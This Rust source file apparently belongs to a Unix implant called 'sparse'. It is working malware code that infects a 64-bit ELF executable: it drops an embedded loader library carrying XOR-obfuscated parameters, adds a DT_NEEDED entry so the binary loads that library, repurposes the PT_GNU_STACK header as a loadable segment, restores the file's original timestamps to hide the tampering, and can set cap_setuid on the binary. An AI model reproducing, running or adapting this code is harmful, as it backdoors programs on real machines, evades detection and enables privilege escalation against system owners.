use std::{
    io::{prelude::*, Error, SeekFrom},
    os::{fd::AsRawFd, unix::fs::MetadataExt},
    path::Path,
    slice,
};

use sparse_actions::payload_types::XOR_KEY;

mod elf_types;
use elf_types::*;

#[cfg(not(debug_assertions))]
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LOADER"));
#[cfg(all(debug_assertions, target_os = "linux"))]
pub const SPARSE_LIBRARY: &'static [u8] =
    include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-linux.so");
#[cfg(all(debug_assertions, target_os = "freebsd"))]
pub const SPARSE_LIBRARY: &'static [u8] =
    include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-freebsd.so");

pub fn infect_elf_binary<BP, LP>(
    binary_path: BP,
    target_library_path: LP,
    mut sparse_parameters: Vec<u8>,
    #[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
    BP: AsRef<Path>,
    LP: AsRef<Path>,
{
    let mut sparse_library = SPARSE_LIBRARY.to_vec();

    for b in sparse_parameters.iter_mut() {
        *b = *b ^ (XOR_KEY as u8);
    }

    for i in 0..(sparse_library.len() - sparse_parameters.len()) {
        if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
            sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
            let tlp = target_library_path
                .as_ref()
                .to_str()
                .expect("invalid path provided for library")
                .to_owned();
            sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
        }
        if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
            sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
        }
    }

    std::fs::write(&target_library_path, sparse_library)?;

    let metadata = std::fs::metadata(&binary_path)?;

    let mut binary = std::fs::OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open(&binary_path)
        .expect("Could not open binary path for infecting");

    binary.seek(SeekFrom::End(0))?;
    let end = binary.stream_position()?;
    binary.seek(SeekFrom::Start(0))?;

    let mut binary_data = Vec::with_capacity(end as usize);
    binary.read_to_end(&mut binary_data)?;

    let header: &Elf_Hdr = unsafe { &*(binary_data.as_ptr() as *const Elf_Hdr) };

    let Some(isa) = header.isa() else {
        panic!("Unknown binary type");
    };

    if let ElfIsa::Amd64 = isa {
        cfg_if::cfg_if! {
            if #[cfg(target_os = "linux")] {
                infect_64bit_elf_binary(
                    target_library_path,
                    &mut binary,
                    binary_data,
                    add_setuid_capability,
                )?;
            } else {
                infect_64bit_elf_binary(
                    target_library_path,
                    &mut binary,
                    binary_data
                )?;
            }
        }

        let access_time = libc::timespec {
            tv_sec: metadata.atime(),
            tv_nsec: metadata.atime_nsec(),
        };
        let modify_time = libc::timespec {
            tv_sec: metadata.mtime(),
            tv_nsec: metadata.mtime_nsec(),
        };

        unsafe {
            libc::futimens(binary.as_raw_fd(), [access_time, modify_time].as_ptr());
        }

        Ok(())
    } else {
        eprintln!("Sparse is only compiled for 64 bit Linux");
        Ok(())
    }
}

fn infect_64bit_elf_binary<LP, F>(
    library_path: LP,
    binary: &mut F,
    mut binary_data: Vec<u8>,
    #[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
    LP: AsRef<Path>,
    F: Read + Write + Seek + AsRawFd,
{
    let Some(library_name) = library_path.as_ref().file_name() else {
        eprintln!("Library name does not contain a valid file path!");
        panic!();
    };

    let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
    let x64_header = unsafe { &mut header.rest.bit64 };

    let section_headers = unsafe {
        slice::from_raw_parts_mut::<SectionHeader_64bit>(
            binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
            x64_header.e_shnum as usize,
        )
    };

    let program_headers = unsafe {
        slice::from_raw_parts_mut::<ProgramHeader_64bit>(
            binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
            x64_header.e_phnum as usize,
        )
    };

    let Some(stack_ph) = program_headers
        .iter()
        .position(|ph| ph.p_type == 0x6474e551 /* PT_GNU_STACK */)
    else {
        eprintln!("ELF is protected against stack exploitation! Find one that isn't");
        panic!();
    };

    let Some(dynamic_sh) = section_headers.iter().find(|sh| sh.sh_type == 0x06) else {
        eprintln!("ELF is not a dynamic executable!");
        panic!();
    };

    let dynamic_offset = dynamic_sh.sh_offset as usize;
    let dynamic_size = dynamic_sh.sh_size as usize / std::mem::size_of::<DTEntry>();

    let dynamic_sections = unsafe {
        slice::from_raw_parts_mut::<DTEntry>(
            binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
            dynamic_size,
        )
    };

    let Some(dynstr_addr) = dynamic_sections
        .iter()
        .find_map(|dt| Some(dt.d_val).filter(|_| dt.d_tag == 0x05 /* DT_STRTAB */))
    else {
        eprintln!("Could not find dynamic strings! (1)");
        panic!();
    };

    let Some(dynstr_sh_idx) = section_headers
        .iter()
        .position(|sh| sh.sh_addr == dynstr_addr)
    else {
        eprintln!("Could not find dynamic strings!");
        panic!();
    };

    let dynstr_sh = section_headers[dynstr_sh_idx];

    let dynstr_offset = dynstr_sh.sh_offset as usize;
    let dynstr_size = dynstr_sh.sh_size as usize;

    let mut dynstr_bytes = binary_data[dynstr_offset..dynstr_offset + dynstr_size].to_vec();

    let lp_pointer = dynstr_bytes.len();
    dynstr_bytes.extend(library_name.as_encoded_bytes());
    dynstr_bytes.extend(b"\0");

    let Some(last_record) = dynamic_sections
        .iter()
        .position(|dt| dt.d_tag == 0x00 && dt.d_val == 0x00)
    else {
        eprintln!("Could not find last dynamic table entry!");
        panic!();
    };

    let Some(last_needed_record_pos) = dynamic_sections.iter().position(|dt| dt.d_tag != 0x01)
    else {
        eprintln!("Could not find a non dynamic entry in dt");
        panic!();
    };

    if last_record == dynamic_sections.len() - 1 {
        // we need to make a new section and update the global offset table
        // ...or just crash for now...
        // eprintln!("lol");
        eprintln!("Dynamic section is too small!");
        unimplemented!();
    } else {
        for pos in (last_needed_record_pos..=last_record).rev() {
            dynamic_sections[pos + 1].d_tag = dynamic_sections[pos].d_tag;
            dynamic_sections[pos + 1].d_val = dynamic_sections[pos].d_val;
        }

        dynamic_sections[last_needed_record_pos].d_tag = 0x01; // DT_NEEDED
        dynamic_sections[last_needed_record_pos].d_val = lp_pointer as u64;
    }

    let curr_len = binary_data.len();
    let target_pad = curr_len + (0x1000 - (curr_len % 0x1000));
    let to_pad = target_pad - curr_len;

    binary_data.extend(vec![0u8; to_pad]);

    let dynstr_ptr = binary_data.len();

    println!("{dynstr_ptr:X}");
    println!("{to_pad:X}");

    binary_data.extend(&dynstr_bytes);

    let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
    let x64_header = unsafe { &mut header.rest.bit64 };

    let section_headers = unsafe {
        slice::from_raw_parts_mut::<SectionHeader_64bit>(
            binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
            x64_header.e_shnum as usize,
        )
    };

    let program_headers = unsafe {
        slice::from_raw_parts_mut::<ProgramHeader_64bit>(
            binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
            x64_header.e_phnum as usize,
        )
    };

    let dynamic_sections = unsafe {
        slice::from_raw_parts_mut::<DTEntry>(
            binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
            dynamic_size,
        )
    };

    let Some(new_address) = program_headers
        .iter()
        .filter_map(|ph| Some(ph.p_vaddr).filter(|_| ph.p_type == 0x1 /* PT_LOAD */))
        .max()
    else {
        eprintln!("Could not find address space to store new symbol strings");
        panic!();
    };

    let new_address = new_address + 0x2000 - (new_address % 0x1000);

    let Some(dt_strtab) = dynamic_sections
        .iter_mut()
        .find(|dt| dt.d_tag == 0x05 /* DT_STRTAB */)
    else {
        eprintln!("Could not find dynamic strings! (1)");
        panic!();
    };

    dt_strtab.d_val = new_address as u64;

    section_headers[dynstr_sh_idx].sh_offset = dynstr_ptr as u64;
    section_headers[dynstr_sh_idx].sh_size = dynstr_bytes.len() as u64;
    section_headers[dynstr_sh_idx].sh_addr = new_address as u64;

    program_headers[stack_ph].p_type = 0x1; // PT_LOAD
    program_headers[stack_ph].p_flags = 0x4 | 0x6; // PF_R | PF_W
    program_headers[stack_ph].p_offset = dynstr_ptr as u64;
    program_headers[stack_ph].p_vaddr = new_address as u64;
    program_headers[stack_ph].p_paddr = new_address as u64;
    program_headers[stack_ph].p_filesz = dynstr_bytes.len() as u64;
    program_headers[stack_ph].p_memsz = dynstr_bytes.len() as u64;
    program_headers[stack_ph].p_align = 0x1000;

    binary.seek(SeekFrom::Start(0))?;
    binary.write(&binary_data)?;

    #[cfg(target_os = "linux")]
    if add_setuid_capability {
        use libc::c_int;

        type CapT = libc::c_void;

        unsafe extern "C" {
            fn cap_free(cap: *mut CapT) -> c_int;
            fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
            fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
        }

        // CAP_SETUID is 7
        // CAP_NET_RAW is 13
        // CAP_SETFCAP is 31
        // CAP_FOWNER is 3

        unsafe {
            let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
            cap_set_fd(binary.as_raw_fd(), current_caps);
            cap_free(current_caps);
        }
    }

    Ok(())
}